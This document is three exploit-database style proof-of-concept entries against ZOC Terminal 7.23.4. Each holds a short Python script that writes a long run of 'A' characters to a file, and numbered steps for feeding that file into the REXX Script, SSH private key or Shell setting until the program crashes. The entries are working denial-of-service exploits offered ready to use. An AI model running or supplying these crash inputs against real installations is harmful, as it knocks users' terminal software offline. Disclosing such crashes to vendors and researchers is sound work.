#Exploit Title: ZOC Terminal v7.23.4 - 'Script' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-15 #Vendor Homepage: https://www.emtec.com #Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe #Tested Version: 7.23.4 #Tested on: Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: ZOC_Terminal_scr.py and it will create a new file "exp.zrx" #2.- Open ZOC Terminal #3.- Select Script > Start REXX Script... #4.- Select "exp.zrx" file and click "open" #5.- Crashed cod = "\x41" * 20000 f = open('exp.zrx', 'w') f.write(cod) f.close() ---- #Exploit Title: ZOC Terminal v7.23.4 - 'Private key file' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-15 #Vendor Homepage: https://www.emtec.com #Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe #Tested Version: 7.23.4 #Tested on: Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: ZOC_Terminal_pkf.py #2.- Open zoc_pkf.txt and copy content to clipboard #3.- Open ZOC Terminal #4.- Select File > Create SSH Key Files... #5.- Select "Private key file:" field erease and Paste ClipBoard #6.- Click on "Create public/private key files..." #7.- Crashed cod = "\x41" * 2000 f = open('zoc_pkf.txt', 'w') f.write(cod) f.close() ---- #Exploit Title: ZOC Terminal v7.23.4 - 'Shell' Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-15 #Vendor Homepage: https://www.emtec.com #Software Link: http://www.emtec.com/downloads/zoc/zoc7234_x64.exe #Tested Version: 7.23.4 #Tested on: Windows 7 Service Pack 1 x64 #Steps to produce the crash: #1.- Run python code: ZOC_Terminal_sh.py #2.- Open zoc_sh.txt and copy content to clipboard #3.- Open ZOC Terminal #4.- Select Options > Program Settings... > Special Files #5.- Select "Shell" field erease the content and Paste ClipBoard #6.- Click on "Save" #7.- Select View > "Command Shell" and select "ok" #8.- Crashed cod = "\x41" * 270 f = open('zoc_sh.txt', 'w') f.write(cod) f.close()